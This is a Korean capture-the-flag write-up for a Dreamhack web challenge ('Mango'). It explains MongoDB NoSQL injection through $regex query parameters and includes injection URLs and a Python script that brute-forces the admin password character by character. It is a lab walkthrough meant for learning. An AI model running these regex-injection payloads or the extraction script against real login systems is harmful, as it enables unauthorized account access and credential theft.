Mango


소스코드 분석

  • 먼저 아래 부분을 살펴보면 BAN 리스트 안의 값이 오면 flag 변수에 true 값이 할당되는데요.

  • flag 값이 true 이면, 아래 코드에 의해 필터링 되어 “filter” 문자열을 반환하게 됩니다.

  • 필터링 되지 않은 경우(BAN 리스트에 담긴 값을 사용하지 않은 경우)는 아래 코드가 실행됩니다.
    • 입력 받은 uid, upw 값으로 조회된 결과로부터 uid 값을 반환

  • 아래와 같이, BAN 리스트 안의 값이 uid, upw 값에 입력되면 “filter” 문자열이 반환됩니다.

  • MongoDB는 SQL 문을 통해 데이터를 조회하는 RDBMS가 아니라, NoSQL에 속합니다.
  • NoSQL은 Key/Value, Column Family, Graph, Document 등 다양한 형태의 데이터베이스로 분류되는데요.
  • MongoDB는 Binary JSON(BSON) 형태의 도큐먼트 형식으로 데이터를 저장합니다.
    • json 형식으로 데이터를 조회하기 때문에, 임의의 배열 형태로 데이터 조회가 가능한데요.
    • MongoDB에서는 $regex, $in 등 데이터 조회 시 사용할 수 있는 표현식을 제공하고 있습니다.

  • 아래와 같이 정규표현식을 이용하면 아이디가 adm 으로 시작하는 데이터 조회가 가능합니다.
    • .* 는 바로 앞에 있는 토큰(문자, 문자클래스, 그룹 등)을 0회 이상 반복하는 걸 의미

  • admin 계정의 패스워드 정보를 알아야 하므로, 순차적으로 정보를 수집합니다.
    • (1) 패스워드 길이 확인 ( 36개의 문자열로 구성 )
    • (2) 패스워드 정보 확인 ( DH{…}, DH{8…} )
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{36}
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=D.{35}
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{1}H{.{33}
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{1}H{8.{32}

  • DH{8 이후의 문자열은 파이썬 코드를 작성하여 확인하였습니다.
    • 출력 결과를 확인하면 플래그(DH{89....})를 획득할 수 있습니다.
import requests
 
import string
 
alphanumeric = list(string.digits) + list(string.ascii_lowercase) + list(string.ascii_uppercase)
 
# /login?uid[$regex]=^adm&upw[$regex]=.{1}H{8.{32}
# DH{ ...
URL = 'http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{1}H{'
flag = "8"
 
for i in range(31):
    for j in alphanumeric:
        res = requests.get(URL + flag + j + ".{" + str(31-i) + "}")
        print(URL + flag + j + ".{" + str(31-i) + "}")
        if "admin" in res.text:
            flag += j
            break
print(flag)


🐛.. 🐛.. 🐛..



REFERENCE

  1. https://www.mongodb.com/ko-kr/docs/manual/reference/operator/query/regex/